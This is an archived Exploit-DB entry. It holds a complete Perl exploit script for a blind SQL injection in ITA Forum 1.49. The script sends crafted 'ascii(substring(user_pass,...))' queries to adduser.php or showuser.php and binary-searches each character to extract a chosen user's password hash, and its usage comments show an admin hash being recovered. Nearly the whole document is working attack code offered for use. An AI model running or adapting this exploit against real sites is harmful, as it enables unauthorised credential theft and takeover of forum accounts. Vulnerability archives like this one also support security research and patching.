Exploit-DB #754
Description: ITA Forum 1.49 - SQL Injection
Type: webapps
Platform: php
Date: 2005-01-13
Author: RusH

Exploit:
#!/usr/bin/perl

use LWP::UserAgent;

# ITA Forum 1.49 sql injection exploit with one char bruteforce by 1dt.w0lf // r57
# 
# ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
# example:
# r57ita.pl http://127.0.0.1/ITA/ admin 0
# [!] Exploiting adduser.php
# Please wait...
# [xxxxxxxxxxxxxxxx]
#
# USER_NAME: admin
# USER_PASS: 340878063a81cd71
#
# example2:
# r57ita.pl http://127.0.0.1/ITA/ admin 1
# [!] Exploiting showuser.php
# Please wait...
# [xxxxxxxxxxxxxxxx]
#
# USER_NAME: admin
# USER_PASS: 340878063a81cd71
# ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
# greets2:
# foster and all ghc members

$path     = $ARGV[0];
$username = $ARGV[1];
$target   = $ARGV[2];

$s_num = 1;
$|++;

if (@ARGV < 2) { &usage; }

if($target) 
 { 
 $string = $username;
 $path = $path."showuser.php"; 
 print " [!] Exploiting showuser.php\r\n"; 
 }
else 
 { 
 $string = "&#1069;&#1090;&#1086;&#1090; &#1083;&#1086;&#1075;&#1080;&#1085; &#1091;&#1078;&#1077; &#1079;&#1072;&#1085;&#1103;&#1090;!";
 $path = $path."adduser.php"; 
 print " [!] Exploiting adduser.php\r\n"; 
 }

print " Please wait...\r\n";
print " [";

while(1)
{
if(&found(47,58)==0) { &found(96,122); } 
$char = $i;
if ($char=="0") 
 { 
 print qq{] 
 
 USER_NAME: $username
 USER_PASS: $allchar
 };
 exit(); 
 }
else 
 { 
 print "x"; 
 $allchar .= chr($char); 
 }
$s_num++;
}

sub found($$)
 {
 my $fmin = $_[0];
 my $fmax = $_[1];
 if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; }
 
 $r = int($fmax - ($fmax-$fmin)/2);
 $check = " BETWEEN $r AND $fmax";
 if ( &check($check) ) { &found($r,$fmax); }
 else { &found($fmin,$r); }
 }
 
sub crack($$)
 {
 my $cmin = $_[0];
 my $cmax = $_[1];
 $i = $cmin;
 while ($i<$cmax)
  {
  $crcheck = "=$i";
  if ( &check($crcheck) ) { return $i; }
  $i++;
  }
 $i = 0;
 return $i;
 }
 
sub check($)
 {
 $n++;
 $ccheck = $_[0];
 if($target){
 $http_query = $path."?uid=".$username."\' AND ascii(substring(user_pass,".$s_num.",1))".$ccheck." /*";
 }
 else{
 $http_query = $path."?user_pass1=ghc4ever&user_pass2=ghc4ever&user_email=root\@microsoft.com&Submit=true&user_login=".$username."\' AND ascii(substring(user_pass,".$s_num.",1))".$ccheck." /*";
 }
 # wanna view xpl work?
 # print "\r\n$http_query\r\n";
 $mcb_reguest = LWP::UserAgent->new() or die;
 $res = $mcb_reguest->post($http_query); 
 @results = $res->content; 
 
 foreach $result(@results)
  {
  if ($result =~ /$string/) { return 1; }
  }
 return 0;
 }
 

sub usage()
 {
 print q(
    ITA Forum version <= 1.49 sql injection exploit ver2
 ==========================================================
    usage: r57ita.pl [path/to/forum/] [user_name] [target]
  targets:
           0 - adduser.php 
           1 - showuser.php
 ==========================================================   
     e.g.: r57ita.pl http://blah.com/ admin 0
 ==========================================================
           visit www.rst.void.ru for more info
 );
 exit();
 }

# milw0rm.com [2005-01-13]